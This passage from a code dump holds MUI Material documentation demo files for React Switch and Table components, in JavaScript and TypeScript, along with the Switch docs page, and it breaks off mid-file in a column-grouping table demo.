    "content": "import Switch from '@mui/material/Switch';\nimport FormGroup from '@mui/material/FormGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\n\nexport default function FormControlLabelPosition() {\n  return (\n    <FormControl component=\"fieldset\">\n      <FormLabel component=\"legend\">Label placement</FormLabel>\n      <FormGroup aria-label=\"position\" row>\n        <FormControlLabel\n          value=\"bottom\"\n          control={<Switch color=\"primary\" />}\n          label=\"Bottom\"\n          labelPlacement=\"bottom\"\n        />\n        <FormControlLabel\n          value=\"end\"\n          control={<Switch color=\"primary\" />}\n          label=\"End\"\n          labelPlacement=\"end\"\n        />\n      </FormGroup>\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/switches/SwitchLabels.js",
    "content": "import FormGroup from '@mui/material/FormGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Switch from '@mui/material/Switch';\n\nexport default function SwitchLabels() {\n  return (\n    <FormGroup>\n      <FormControlLabel control={<Switch defaultChecked />} label=\"Label\" />\n      <FormControlLabel required control={<Switch />} label=\"Required\" />\n      <FormControlLabel disabled control={<Switch />} label=\"Disabled\" />\n    </FormGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/switches/SwitchLabels.tsx",
    "content": "import FormGroup from '@mui/material/FormGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Switch from '@mui/material/Switch';\n\nexport default function SwitchLabels() {\n  return (\n    <FormGroup>\n      <FormControlLabel control={<Switch defaultChecked />} label=\"Label\" />\n      <FormControlLabel required control={<Switch />} label=\"Required\" />\n      <FormControlLabel disabled control={<Switch />} label=\"Disabled\" />\n    </FormGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/switches/SwitchLabels.tsx.preview",
    "content": "<FormGroup>\n  <FormControlLabel control={<Switch defaultChecked />} label=\"Label\" />\n  <FormControlLabel required control={<Switch />} label=\"Required\" />\n  <FormControlLabel disabled control={<Switch />} label=\"Disabled\" />\n</FormGroup>"
  },
  {
    "path": "docs/data/material/components/switches/SwitchesGroup.js",
    "content": "import * as React from 'react';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormGroup from '@mui/material/FormGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport Switch from '@mui/material/Switch';\n\nexport default function SwitchesGroup() {\n  const [state, setState] = React.useState({\n    gilad: true,\n    jason: false,\n    antoine: true,\n  });\n\n  const handleChange = (event) => {\n    setState({\n      ...state,\n      [event.target.name]: event.target.checked,\n    });\n  };\n\n  return (\n    <FormControl component=\"fieldset\" variant=\"standard\">\n      <FormLabel component=\"legend\">Assign responsibility</FormLabel>\n      <FormGroup>\n        <FormControlLabel\n          control={\n            <Switch checked={state.gilad} onChange={handleChange} name=\"gilad\" />\n          }\n          label=\"Gilad Gray\"\n        />\n        <FormControlLabel\n          control={\n            <Switch checked={state.jason} onChange={handleChange} name=\"jason\" />\n          }\n          label=\"Jason Killian\"\n        />\n        <FormControlLabel\n          control={\n            <Switch checked={state.antoine} onChange={handleChange} name=\"antoine\" />\n          }\n          label=\"Antoine Llorca\"\n        />\n      </FormGroup>\n      <FormHelperText>Be careful</FormHelperText>\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/switches/SwitchesGroup.tsx",
    "content": "import * as React from 'react';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormGroup from '@mui/material/FormGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport Switch from '@mui/material/Switch';\n\nexport default function SwitchesGroup() {\n  const [state, setState] = React.useState({\n    gilad: true,\n    jason: false,\n    antoine: true,\n  });\n\n  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setState({\n      ...state,\n      [event.target.name]: event.target.checked,\n    });\n  };\n\n  return (\n    <FormControl component=\"fieldset\" variant=\"standard\">\n      <FormLabel component=\"legend\">Assign responsibility</FormLabel>\n      <FormGroup>\n        <FormControlLabel\n          control={\n            <Switch checked={state.gilad} onChange={handleChange} name=\"gilad\" />\n          }\n          label=\"Gilad Gray\"\n        />\n        <FormControlLabel\n          control={\n            <Switch checked={state.jason} onChange={handleChange} name=\"jason\" />\n          }\n          label=\"Jason Killian\"\n        />\n        <FormControlLabel\n          control={\n            <Switch checked={state.antoine} onChange={handleChange} name=\"antoine\" />\n          }\n          label=\"Antoine Llorca\"\n        />\n      </FormGroup>\n      <FormHelperText>Be careful</FormHelperText>\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/switches/SwitchesSize.js",
    "content": "import Switch from '@mui/material/Switch';\n\nconst label = { slotProps: { input: { 'aria-label': 'Size switch demo' } } };\n\nexport default function SwitchesSize() {\n  return (\n    <div>\n      <Switch {...label} defaultChecked size=\"small\" />\n      <Switch {...label} defaultChecked />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/switches/SwitchesSize.tsx",
    "content": "import Switch from '@mui/material/Switch';\n\nconst label = { slotProps: { input: { 'aria-label': 'Size switch demo' } } };\n\nexport default function SwitchesSize() {\n  return (\n    <div>\n      <Switch {...label} defaultChecked size=\"small\" />\n      <Switch {...label} defaultChecked />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/switches/SwitchesSize.tsx.preview",
    "content": "<Switch {...label} defaultChecked size=\"small\" />\n<Switch {...label} defaultChecked />"
  },
  {
    "path": "docs/data/material/components/switches/switches.md",
    "content": "---\nproductId: material-ui\ntitle: React Switch component\ncomponents: Switch, FormControl, FormGroup, FormLabel, FormControlLabel\ngithubLabel: 'scope: switch'\nmaterialDesign: https://m2.material.io/components/selection-controls#switches\ngithubSource: packages/mui-material/src/Switch\n---\n\n# Switch\n\n<p class=\"description\">Switches toggle the state of a single setting on or off.</p>\n\nSwitches are the preferred way to adjust settings on mobile.\nThe option that the switch controls, as well as the state it's in,\nshould be made clear from the corresponding inline label.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Basic switches\n\n{{\"demo\": \"BasicSwitches.js\"}}\n\n## Label\n\nYou can provide a label to the `Switch` thanks to the `FormControlLabel` component.\n\n{{\"demo\": \"SwitchLabels.js\"}}\n\n## Size\n\nUse the `size` prop to change the size of the switch.\n\n{{\"demo\": \"SwitchesSize.js\"}}\n\n## Color\n\n{{\"demo\": \"ColorSwitches.js\"}}\n\n## Controlled\n\nYou can control the switch with the `checked` and `onChange` props:\n\n{{\"demo\": \"ControlledSwitches.js\"}}\n\n## Switches with FormGroup\n\n`FormGroup` is a helpful wrapper used to group selection controls components that provides an easier API.\nHowever, you are encouraged to use [Checkboxes](/material-ui/react-checkbox/) instead if multiple related controls are required. (See: [When to use](#when-to-use)).\n\n{{\"demo\": \"SwitchesGroup.js\"}}\n\n## Customization\n\nHere are some examples of customizing the component.\nYou can learn more about this in the [overrides documentation page](/material-ui/customization/how-to-customize/).\n\n{{\"demo\": \"CustomizedSwitches.js\"}}\n\n🎨 If you are looking for inspiration, you can check [MUI Treasury's customization examples](https://www.mui-treasury.com/?path=/docs/switch-introduction--docs).\n\n## Label placement\n\nYou can change the placement of the label:\n\n{{\"demo\": \"FormControlLabelPosition.js\"}}\n\n## When to use\n\n- [Checkboxes vs. Switches](https://uxplanet.org/checkbox-vs-toggle-switch-7fc6e83f10b8)\n\n## Accessibility\n\n- All form controls should have labels, and this includes radio buttons, checkboxes, and switches. In most cases, this is done by using the `<label>` element ([FormControlLabel](/material-ui/api/form-control-label/)).\n- When a label can't be used, it's necessary to add an attribute directly to the input component.\n  In this case, you can apply the additional attribute (for example `aria-label`, `aria-labelledby`, `title`) via the `slotProps.input` prop.\n\n```jsx\n<Switch value=\"checkedA\" slotProps={{ input: { 'aria-label': 'Switch A' } }} />\n```\n"
  },
  {
    "path": "docs/data/material/components/table/AccessibleTable.js",
    "content": "import Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\nimport Paper from '@mui/material/Paper';\n\nfunction createData(name, calories, fat, carbs, protein) {\n  return { name, calories, fat, carbs, protein };\n}\n\nconst rows = [\n  createData('Frozen yoghurt', 159, 6.0, 24, 4.0),\n  createData('Ice cream sandwich', 237, 9.0, 37, 4.3),\n  createData('Eclair', 262, 16.0, 24, 6.0),\n];\n\nexport default function AccessibleTable() {\n  return (\n    <TableContainer component={Paper}>\n      <Table sx={{ minWidth: 650 }} aria-label=\"caption table\">\n        <caption>A basic table example with a caption</caption>\n        <TableHead>\n          <TableRow>\n            <TableCell>Dessert (100g serving)</TableCell>\n            <TableCell align=\"right\">Calories</TableCell>\n            <TableCell align=\"right\">Fat&nbsp;(g)</TableCell>\n            <TableCell align=\"right\">Carbs&nbsp;(g)</TableCell>\n            <TableCell align=\"right\">Protein&nbsp;(g)</TableCell>\n          </TableRow>\n        </TableHead>\n        <TableBody>\n          {rows.map((row) => (\n            <TableRow key={row.name}>\n              <TableCell component=\"th\" scope=\"row\">\n                {row.name}\n              </TableCell>\n              <TableCell align=\"right\">{row.calories}</TableCell>\n              <TableCell align=\"right\">{row.fat}</TableCell>\n              <TableCell align=\"right\">{row.carbs}</TableCell>\n              <TableCell align=\"right\">{row.protein}</TableCell>\n            </TableRow>\n          ))}\n        </TableBody>\n      </Table>\n    </TableContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/AccessibleTable.tsx",
    "content": "import Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\nimport Paper from '@mui/material/Paper';\n\nfunction createData(\n  name: string,\n  calories: number,\n  fat: number,\n  carbs: number,\n  protein: number,\n) {\n  return { name, calories, fat, carbs, protein };\n}\n\nconst rows = [\n  createData('Frozen yoghurt', 159, 6.0, 24, 4.0),\n  createData('Ice cream sandwich', 237, 9.0, 37, 4.3),\n  createData('Eclair', 262, 16.0, 24, 6.0),\n];\n\nexport default function AccessibleTable() {\n  return (\n    <TableContainer component={Paper}>\n      <Table sx={{ minWidth: 650 }} aria-label=\"caption table\">\n        <caption>A basic table example with a caption</caption>\n        <TableHead>\n          <TableRow>\n            <TableCell>Dessert (100g serving)</TableCell>\n            <TableCell align=\"right\">Calories</TableCell>\n            <TableCell align=\"right\">Fat&nbsp;(g)</TableCell>\n            <TableCell align=\"right\">Carbs&nbsp;(g)</TableCell>\n            <TableCell align=\"right\">Protein&nbsp;(g)</TableCell>\n          </TableRow>\n        </TableHead>\n        <TableBody>\n          {rows.map((row) => (\n            <TableRow key={row.name}>\n              <TableCell component=\"th\" scope=\"row\">\n                {row.name}\n              </TableCell>\n              <TableCell align=\"right\">{row.calories}</TableCell>\n              <TableCell align=\"right\">{row.fat}</TableCell>\n              <TableCell align=\"right\">{row.carbs}</TableCell>\n              <TableCell align=\"right\">{row.protein}</TableCell>\n            </TableRow>\n          ))}\n        </TableBody>\n      </Table>\n    </TableContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/BasicTable.js",
    "content": "import Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\nimport Paper from '@mui/material/Paper';\n\nfunction createData(name, calories, fat, carbs, protein) {\n  return { name, calories, fat, carbs, protein };\n}\n\nconst rows = [\n  createData('Frozen yoghurt', 159, 6.0, 24, 4.0),\n  createData('Ice cream sandwich', 237, 9.0, 37, 4.3),\n  createData('Eclair', 262, 16.0, 24, 6.0),\n  createData('Cupcake', 305, 3.7, 67, 4.3),\n  createData('Gingerbread', 356, 16.0, 49, 3.9),\n];\n\nexport default function BasicTable() {\n  return (\n    <TableContainer component={Paper}>\n      <Table sx={{ minWidth: 650 }} aria-label=\"simple table\">\n        <TableHead>\n          <TableRow>\n            <TableCell>Dessert (100g serving)</TableCell>\n            <TableCell align=\"right\">Calories</TableCell>\n            <TableCell align=\"right\">Fat&nbsp;(g)</TableCell>\n            <TableCell align=\"right\">Carbs&nbsp;(g)</TableCell>\n            <TableCell align=\"right\">Protein&nbsp;(g)</TableCell>\n          </TableRow>\n        </TableHead>\n        <TableBody>\n          {rows.map((row) => (\n            <TableRow\n              key={row.name}\n              sx={{ '&:last-child td, &:last-child th': { border: 0 } }}\n            >\n              <TableCell component=\"th\" scope=\"row\">\n                {row.name}\n              </TableCell>\n              <TableCell align=\"right\">{row.calories}</TableCell>\n              <TableCell align=\"right\">{row.fat}</TableCell>\n              <TableCell align=\"right\">{row.carbs}</TableCell>\n              <TableCell align=\"right\">{row.protein}</TableCell>\n            </TableRow>\n          ))}\n        </TableBody>\n      </Table>\n    </TableContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/BasicTable.tsx",
    "content": "import Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\nimport Paper from '@mui/material/Paper';\n\nfunction createData(\n  name: string,\n  calories: number,\n  fat: number,\n  carbs: number,\n  protein: number,\n) {\n  return { name, calories, fat, carbs, protein };\n}\n\nconst rows = [\n  createData('Frozen yoghurt', 159, 6.0, 24, 4.0),\n  createData('Ice cream sandwich', 237, 9.0, 37, 4.3),\n  createData('Eclair', 262, 16.0, 24, 6.0),\n  createData('Cupcake', 305, 3.7, 67, 4.3),\n  createData('Gingerbread', 356, 16.0, 49, 3.9),\n];\n\nexport default function BasicTable() {\n  return (\n    <TableContainer component={Paper}>\n      <Table sx={{ minWidth: 650 }} aria-label=\"simple table\">\n        <TableHead>\n          <TableRow>\n            <TableCell>Dessert (100g serving)</TableCell>\n            <TableCell align=\"right\">Calories</TableCell>\n            <TableCell align=\"right\">Fat&nbsp;(g)</TableCell>\n            <TableCell align=\"right\">Carbs&nbsp;(g)</TableCell>\n            <TableCell align=\"right\">Protein&nbsp;(g)</TableCell>\n          </TableRow>\n        </TableHead>\n        <TableBody>\n          {rows.map((row) => (\n            <TableRow\n              key={row.name}\n              sx={{ '&:last-child td, &:last-child th': { border: 0 } }}\n            >\n              <TableCell component=\"th\" scope=\"row\">\n                {row.name}\n              </TableCell>\n              <TableCell align=\"right\">{row.calories}</TableCell>\n              <TableCell align=\"right\">{row.fat}</TableCell>\n              <TableCell align=\"right\">{row.carbs}</TableCell>\n              <TableCell align=\"right\">{row.protein}</TableCell>\n            </TableRow>\n          ))}\n        </TableBody>\n      </Table>\n    </TableContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/CollapsibleTable.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Box from '@mui/material/Box';\nimport Collapse from '@mui/material/Collapse';\nimport IconButton from '@mui/material/IconButton';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\nimport Typography from '@mui/material/Typography';\nimport Paper from '@mui/material/Paper';\nimport KeyboardArrowDownIcon from '@mui/icons-material/KeyboardArrowDown';\nimport KeyboardArrowUpIcon from '@mui/icons-material/KeyboardArrowUp';\n\nfunction createData(name, calories, fat, carbs, protein, price) {\n  return {\n    name,\n    calories,\n    fat,\n    carbs,\n    protein,\n    price,\n    history: [\n      {\n        date: '2020-01-05',\n        customerId: '11091700',\n        amount: 3,\n      },\n      {\n        date: '2020-01-02',\n        customerId: 'Anonymous',\n        amount: 1,\n      },\n    ],\n  };\n}\n\nfunction Row(props) {\n  const { row } = props;\n  const [open, setOpen] = React.useState(false);\n\n  return (\n    <React.Fragment>\n      <TableRow sx={{ '& > *': { borderBottom: 'unset' } }}>\n        <TableCell>\n          <IconButton\n            aria-label=\"expand row\"\n            size=\"small\"\n            onClick={() => setOpen(!open)}\n          >\n            {open ? <KeyboardArrowUpIcon /> : <KeyboardArrowDownIcon />}\n          </IconButton>\n        </TableCell>\n        <TableCell component=\"th\" scope=\"row\">\n          {row.name}\n        </TableCell>\n        <TableCell align=\"right\">{row.calories}</TableCell>\n        <TableCell align=\"right\">{row.fat}</TableCell>\n        <TableCell align=\"right\">{row.carbs}</TableCell>\n        <TableCell align=\"right\">{row.protein}</TableCell>\n      </TableRow>\n      <TableRow>\n        <TableCell style={{ paddingBottom: 0, paddingTop: 0 }} colSpan={6}>\n          <Collapse in={open} timeout=\"auto\" unmountOnExit>\n            <Box sx={{ margin: 1 }}>\n              <Typography variant=\"h6\" gutterBottom component=\"div\">\n                History\n              </Typography>\n              <Table size=\"small\" aria-label=\"purchases\">\n                <TableHead>\n                  <TableRow>\n                    <TableCell>Date</TableCell>\n                    <TableCell>Customer</TableCell>\n                    <TableCell align=\"right\">Amount</TableCell>\n                    <TableCell align=\"right\">Total price ($)</TableCell>\n                  </TableRow>\n                </TableHead>\n                <TableBody>\n                  {row.history.map((historyRow) => (\n                    <TableRow key={historyRow.date}>\n                      <TableCell component=\"th\" scope=\"row\">\n                        {historyRow.date}\n                      </TableCell>\n                      <TableCell>{historyRow.customerId}</TableCell>\n                      <TableCell align=\"right\">{historyRow.amount}</TableCell>\n                      <TableCell align=\"right\">\n                        {Math.round(historyRow.amount * row.price * 100) / 100}\n                      </TableCell>\n                    </TableRow>\n                  ))}\n                </TableBody>\n              </Table>\n            </Box>\n          </Collapse>\n        </TableCell>\n      </TableRow>\n    </React.Fragment>\n  );\n}\n\nRow.propTypes = {\n  row: PropTypes.shape({\n    calories: PropTypes.number.isRequired,\n    carbs: PropTypes.number.isRequired,\n    fat: PropTypes.number.isRequired,\n    history: PropTypes.arrayOf(\n      PropTypes.shape({\n        amount: PropTypes.number.isRequired,\n        customerId: PropTypes.string.isRequired,\n        date: PropTypes.string.isRequired,\n      }),\n    ).isRequired,\n    name: PropTypes.string.isRequired,\n    price: PropTypes.number.isRequired,\n    protein: PropTypes.number.isRequired,\n  }).isRequired,\n};\n\nconst rows = [\n  createData('Frozen yoghurt', 159, 6.0, 24, 4.0, 3.99),\n  createData('Ice cream sandwich', 237, 9.0, 37, 4.3, 4.99),\n  createData('Eclair', 262, 16.0, 24, 6.0, 3.79),\n  createData('Cupcake', 305, 3.7, 67, 4.3, 2.5),\n  createData('Gingerbread', 356, 16.0, 49, 3.9, 1.5),\n];\n\nexport default function CollapsibleTable() {\n  return (\n    <TableContainer component={Paper}>\n      <Table aria-label=\"collapsible table\">\n        <TableHead>\n          <TableRow>\n            <TableCell />\n            <TableCell>Dessert (100g serving)</TableCell>\n            <TableCell align=\"right\">Calories</TableCell>\n            <TableCell align=\"right\">Fat&nbsp;(g)</TableCell>\n            <TableCell align=\"right\">Carbs&nbsp;(g)</TableCell>\n            <TableCell align=\"right\">Protein&nbsp;(g)</TableCell>\n          </TableRow>\n        </TableHead>\n        <TableBody>\n          {rows.map((row) => (\n            <Row key={row.name} row={row} />\n          ))}\n        </TableBody>\n      </Table>\n    </TableContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/CollapsibleTable.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Collapse from '@mui/material/Collapse';\nimport IconButton from '@mui/material/IconButton';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\nimport Typography from '@mui/material/Typography';\nimport Paper from '@mui/material/Paper';\nimport KeyboardArrowDownIcon from '@mui/icons-material/KeyboardArrowDown';\nimport KeyboardArrowUpIcon from '@mui/icons-material/KeyboardArrowUp';\n\nfunction createData(\n  name: string,\n  calories: number,\n  fat: number,\n  carbs: number,\n  protein: number,\n  price: number,\n) {\n  return {\n    name,\n    calories,\n    fat,\n    carbs,\n    protein,\n    price,\n    history: [\n      {\n        date: '2020-01-05',\n        customerId: '11091700',\n        amount: 3,\n      },\n      {\n        date: '2020-01-02',\n        customerId: 'Anonymous',\n        amount: 1,\n      },\n    ],\n  };\n}\n\nfunction Row(props: { row: ReturnType<typeof createData> }) {\n  const { row } = props;\n  const [open, setOpen] = React.useState(false);\n\n  return (\n    <React.Fragment>\n      <TableRow sx={{ '& > *': { borderBottom: 'unset' } }}>\n        <TableCell>\n          <IconButton\n            aria-label=\"expand row\"\n            size=\"small\"\n            onClick={() => setOpen(!open)}\n          >\n            {open ? <KeyboardArrowUpIcon /> : <KeyboardArrowDownIcon />}\n          </IconButton>\n        </TableCell>\n        <TableCell component=\"th\" scope=\"row\">\n          {row.name}\n        </TableCell>\n        <TableCell align=\"right\">{row.calories}</TableCell>\n        <TableCell align=\"right\">{row.fat}</TableCell>\n        <TableCell align=\"right\">{row.carbs}</TableCell>\n        <TableCell align=\"right\">{row.protein}</TableCell>\n      </TableRow>\n      <TableRow>\n        <TableCell style={{ paddingBottom: 0, paddingTop: 0 }} colSpan={6}>\n          <Collapse in={open} timeout=\"auto\" unmountOnExit>\n            <Box sx={{ margin: 1 }}>\n              <Typography variant=\"h6\" gutterBottom component=\"div\">\n                History\n              </Typography>\n              <Table size=\"small\" aria-label=\"purchases\">\n                <TableHead>\n                  <TableRow>\n                    <TableCell>Date</TableCell>\n                    <TableCell>Customer</TableCell>\n                    <TableCell align=\"right\">Amount</TableCell>\n                    <TableCell align=\"right\">Total price ($)</TableCell>\n                  </TableRow>\n                </TableHead>\n                <TableBody>\n                  {row.history.map((historyRow) => (\n                    <TableRow key={historyRow.date}>\n                      <TableCell component=\"th\" scope=\"row\">\n                        {historyRow.date}\n                      </TableCell>\n                      <TableCell>{historyRow.customerId}</TableCell>\n                      <TableCell align=\"right\">{historyRow.amount}</TableCell>\n                      <TableCell align=\"right\">\n                        {Math.round(historyRow.amount * row.price * 100) / 100}\n                      </TableCell>\n                    </TableRow>\n                  ))}\n                </TableBody>\n              </Table>\n            </Box>\n          </Collapse>\n        </TableCell>\n      </TableRow>\n    </React.Fragment>\n  );\n}\nconst rows = [\n  createData('Frozen yoghurt', 159, 6.0, 24, 4.0, 3.99),\n  createData('Ice cream sandwich', 237, 9.0, 37, 4.3, 4.99),\n  createData('Eclair', 262, 16.0, 24, 6.0, 3.79),\n  createData('Cupcake', 305, 3.7, 67, 4.3, 2.5),\n  createData('Gingerbread', 356, 16.0, 49, 3.9, 1.5),\n];\nexport default function CollapsibleTable() {\n  return (\n    <TableContainer component={Paper}>\n      <Table aria-label=\"collapsible table\">\n        <TableHead>\n          <TableRow>\n            <TableCell />\n            <TableCell>Dessert (100g serving)</TableCell>\n            <TableCell align=\"right\">Calories</TableCell>\n            <TableCell align=\"right\">Fat&nbsp;(g)</TableCell>\n            <TableCell align=\"right\">Carbs&nbsp;(g)</TableCell>\n            <TableCell align=\"right\">Protein&nbsp;(g)</TableCell>\n          </TableRow>\n        </TableHead>\n        <TableBody>\n          {rows.map((row) => (\n            <Row key={row.name} row={row} />\n          ))}\n        </TableBody>\n      </Table>\n    </TableContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/ColumnGroupingTable.js",
    "content": "import * as React from 'react';\nimport Paper from '@mui/material/Paper';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TablePagination from '@mui/material/TablePagination';\nimport TableRow from '@mui/material/TableRow';\n\nconst columns = [\n  { id: 'name', label: 'Name', minWidth: 170 },\n  { id: 'code', label: 'ISO\\u00a0Code', minWidth: 100 },\n  {\n    id: 'population',\n    label: 'Population',\n    minWidth: 170,\n    align: 'right',\n    format: (value) => value.toLocaleString('en-US'),\n  },\n  {\n    id: 'size',\n    label: 'Size\\u00a0(km\\u00b2)',\n    minWidth: 170,\n    align: 'right',\n    format: (value) => value.toLocaleString('en-US'),\n  },\n  {\n    id: 'density',\n    label: 'Density',\n    minWidth: 170,\n    align: 'right',\n    format: (value) => value.toFixed(2),\n  },\n];\n\nfunction createData(name, code, population, size) {\n  const density = population / size;\n  return { name, code, population, size, density };\n}\n\nconst rows = [\n  createData('India', 'IN', 1324171354, 3287263),\n  createData('China', 'CN', 1403500365, 9596961),\n  createData('Italy', 'IT', 60483973, 301340),\n  createData('United States', 'US', 327167434, 9833520),\n  createData('Canada', 'CA', 37602103, 9984670),\n  createData('Australia', 'AU', 25475400, 7692024),\n  createData('Germany', 'DE', 83019200, 357578),\n  createData('Ireland', 'IE', 4857000, 70273),\n  createData('Mexico', 'MX', 126577691, 1972550),\n  createData('Japan', 'JP', 126317000, 377973),\n  createData('France', 'FR', 67022000, 640679),\n  createData('United Kingdom', 'GB', 67545757, 242495),\n  createData('Russia', 'RU', 146793744, 17098246),\n  createData('Nigeria', 'NG', 200962417, 923768),\n  createData('Brazil', 'BR', 210147125, 8515767),\n];\n\nexport default function ColumnGroupingTable() {\n  const [page, setPage] = React.useState(0);\n  const [rowsPerPage, setRowsPerPage] = React.useState(10);\n\n  const handleChangePage = (event, newPage) => {\n    setPage(newPage);\n  };\n\n  const handleChangeRowsPerPage = (event) => {\n    setRowsPerPage(+event.target.value);\n    setPage(0);\n  };\n\n  return (\n    <Paper sx={{ width: '100%' }}>\n      <TableContainer sx={{ maxHeight: 440 }}>\n        <Table stickyHeader aria-label=\"sticky table\">\n          <TableHead>\n            <TableRow>\n              <TableCell align=\"center\" colSpan={2}>\n                Country\n              </TableCell>\n              <TableCell align=\"center\" colSpan={3}>\n                Details\n              </TableCell>\n            </TableRow>\n            <TableRow>\n              {columns.map((column) => (\n                <TableCell\n                  key={column.id}\n                  align={column.align}\n                  style={{ top: 57, minWidth: column.minWidth }}\n                >\n                  {column.label}\n                </TableCell>\n              ))}\n            </TableRow>\n          </TableHead>\n          <TableBody>\n            {rows\n              .slice(page * rowsPerPage, page * rowsPerPage + rowsPerPage)\n              .map((row) => {\n                return (\n                  <TableRow hover role=\"checkbox\" tabIndex={-1} key={row.code}>\n                    {columns.map((column) => {\n                      const value = row[column.id];\n                      return (\n                        <TableCell key={column.id} align={column.align}>\n                          {column.format && typeof value === 'number'\n                            ? column.format(value)\n                            : value}\n                        </TableCell>\n                      );\n                    })}\n                  </TableRow>\n                );\n              })}\n          </TableBody>\n        </Table>\n      </TableContainer>\n      <TablePagination\n        rowsPerPageOptions={[10, 25, 100]}\n        component=\"div\"\n        count={rows.length}\n        rowsPerPage={rowsPerPage}\n        page={page}\n        onPageChange={handleChangePage}\n        onRowsPerPageChange={handleChangeRowsPerPage}\n      />\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/ColumnGroupingTable.tsx",
    "content": "import * as React from 'react';\nimport Paper from '@mui/material/Paper';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TablePagination from '@mui/material/TablePagination';\nimport TableRow from '@mui/material/TableRow';\n\ninterface Column {\n  id: 'name' | 'code' | 'population' | 'size' | 'density';\n  label: string;\n  minWidth?: number;\n  align?: 'right';\n  format?: (value: number) => string;\n}\n\nconst columns: Column[] = [\n  { id: 'name', label: 'Name', minWidth: 170 },\n  { id: 'code', label: 'ISO\\u00a0Code', minWidth: 100 },\n  {\n    id: 'population',\n    label: 'Population',\n    minWidth: 170,\n    align: 'right',\n    format: (value: number) => value.toLocaleString('en-US'),\n  },\n  {\n    id: 'size',\n    label: 'Size\\u00a0(km\\u00b2)',\n    minWidth: 170,\n    align: 'right',\n    format: (value: number) => value.toLocaleString('en-US'),\n  },\n  {\n    id: 'density',\n    label: 'Density',\n    minWidth: 170,\n    align: 'right',\n    format: (value: number) => value.toFixed(2),\n  },\n];\n\ninterface Data {\n  name: string;\n  code: string;\n  population: number;\n  size: number;\n  density: number;\n}\n\nfunction createData(\n  name: string,\n  code: string,\n  population: number,\n  size: number,\n): Data {\n  const density = population / size;\n  return { name, code, population, size, density };\n}\n\nconst rows = [\n  createData('India', 'IN', 1324171354, 3287263),\n  createData('China', 'CN', 1403500365, 9596961),\n  createData('Italy', 'IT', 60483973, 301340),\n  createData('United States', 'US', 327167434, 9833520),\n  createData('Canada', 'CA', 37602103, 9984670),\n  createData('Australia', 'AU', 25475400, 7692024),\n  createData('Germany', 'DE', 83019200, 357578),\n  createData('Ireland', 'IE', 4857000, 70273),\n  createData('Mexico', 'MX', 126577691, 1972550),\n  createData('Japan', 'JP', 126317000, 377973),\n  createData('France', 'FR', 67022000, 640679),\n  createData('United Kingdom', 'GB', 67545757, 242495),\n  createData('Russia', 'RU', 146793744, 17098246),\n  createData('Nigeria', 'NG', 200962417, 923768),\n  createData('Brazil', 'BR', 210147125, 8515767),\n];\n\nexport default function ColumnGroupingTable() {\n  const [page, setPage] = React.useState(0);\n  const [rowsPerPage, setRowsPerPage] = React.useState(10);\n\n  const handleChangePage = (event: unknown, newPage: number) => {\n    setPage(newPage);\n  };\n\n  const handleChangeRowsPerPage = (event: 